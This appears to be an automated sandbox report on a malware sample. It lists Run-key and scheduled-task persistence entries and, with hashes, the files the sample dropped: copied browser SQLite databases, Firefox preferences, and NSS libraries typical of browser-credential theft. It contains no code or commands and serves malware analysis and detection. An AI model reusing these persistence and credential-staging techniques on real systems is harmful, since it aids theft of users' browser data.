08:11:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fd9f6e129b.exe C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe
08:11:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 92cf6f64c8.exe C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe
08:11:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8416d1ef13.exe C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe
08:11:54	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAKFBGCBFHIJKECGIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEBAAFCAFCBKFHJJJKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAKJDAAFBKFHIEBFCFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JKJDBAAAEHIEGCAKFHCGDHIEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECFIDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651704306404146
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM0SAELyKOMq+8yC8F/YfU5m+OlTLVumr:Bq+n0J09ELyKOMq+8y9/OwA
MD5:	B3B96B6832EBE2D76DF65D4CE16120C4
SHA1:	599A1C22665EC6481792503C01E98F8C7D4FC453
SHA-256:	2203FADC7F4EA13FC213C911FE7A0FD81B1C923088E1CF5CF2E0D45832544E4E
SHA-512:	92867F36E1538BB22D65958FACD76AE0DE88BB37513EFE066FABC98365780929ECC84862B9C5B69E668336FD138DA56AB8E24A99B357D33D968C7A86A0C1D77A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFHJDAEHIEHJJKFBGDAKKKKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8416d1ef13.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0a4a2802-5328-449a-84fb-db3af869b822.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090736385476349
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM7wuF9hDO6vP6O+9tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE/6Mtbz8hu3VlXr4CRo1
MD5:	3EB615CBD96BF75D5CE31C391E98FE01
SHA1:	6DAE07DAE7E96B83A67F2034409C5B3180EF1132
SHA-256:	F8D3791BD72A541D623F84609554FA2A9284340D88A2C0ACE907190EBB2137A3
SHA-512:	AFFBA2F07926021525D57ED3534D423851222D07B8239844DC839A81BC42B9C920BEF58B18DC0347508D6EB5763DFC92B3C8942706F90F1183DEB76736832080
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2d6b0819-7feb-4e7e-bada-fbc35424b4eb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.09631813357249
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB6wuFhDO6vP6OQpMMGdGPhEgcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEH6WMWchu3VlXr4CRo1
MD5:	A88D37BFB157572FBF6468B35021F0C7
SHA1:	7565342AD078C0C7103E9F1E6F677AEEE6CA4A7C
SHA-256:	A0C96F8996F5DC2EB21032C98E646497BB8D1C8E5CB74600C3864BB370B4FD7F
SHA-512:	00A655F974DE608502C3CA7B196184EB8A4D997AB3EF128DDEE6D054538063E25173B0A666EC67A292CE640E77C26BBB0AA3D19BEA66124FB04EB9561046800D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\74edde15-bd39-44f3-9f26-ad34a2bb8255.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.09631813357249
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB6wuFhDO6vP6OQpMMGdGPhEgcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEH6WMWchu3VlXr4CRo1
MD5:	A88D37BFB157572FBF6468B35021F0C7
SHA1:	7565342AD078C0C7103E9F1E6F677AEEE6CA4A7C
SHA-256:	A0C96F8996F5DC2EB21032C98E646497BB8D1C8E5CB74600C3864BB370B4FD7F
SHA-512:	00A655F974DE608502C3CA7B196184EB8A4D997AB3EF128DDEE6D054538063E25173B0A666EC67A292CE640E77C26BBB0AA3D19BEA66124FB04EB9561046800D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\883a7f28-1957-480e-8ed2-a50786eb9ad2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.095857004185723
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBQwuFhDO6vP6OQpMopfsRdHXocGoup1Xl3jVzXr4z:z/Ps+wsI7yOE16WMichu3VlXr4CRo1
MD5:	E03C796B1BBEE5809B5A563CEFE59603
SHA1:	A467351C3A080998959070E02A905A630BB90CD7
SHA-256:	84A598F37C319652DA811F4FD9C2E563CED308F62B55CAFD6411E2B9FC7A1374
SHA-512:	343FBE951F02BBD2E07D034ADDA9AA996C242E84490CCCFFCE6F887413C7C1715C6A37D79F8AB5F956563BB3CAC1E684D4656DAD22FE90CF76119C5FE1112542
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8b4c17a8-b4e9-4ed6-96d7-33f265106189.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46123
Entropy (8bit):	6.087323574854431
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQcrQg89fQQuuhDO6vP6OQpM8pfsRdHXo3xIAB3lMCAoIGoup1Xl3j+:AMk1rT8Hc9f06WMmhTMRoIhu3VlXr4D
MD5:	811BF38215FF3F1FA95775C620B3C6A6
SHA1:	079A54C22E60844155C85488FEA4C881E494291D
SHA-256:	36BE292D5D7DE321FC35FDAE51A9D5F40644502B3C2AA3816D534CA8CCE811E5
SHA-512:	090E08C9DC0CC9FFA8B7313A71DE448E378C732D5C95F582530D76C3699910709541CA07E4C2E27807A024144A04945C9FC7D6EBB4D908521B496A8F87075891
Malicious:	false
Reputation:	unknown
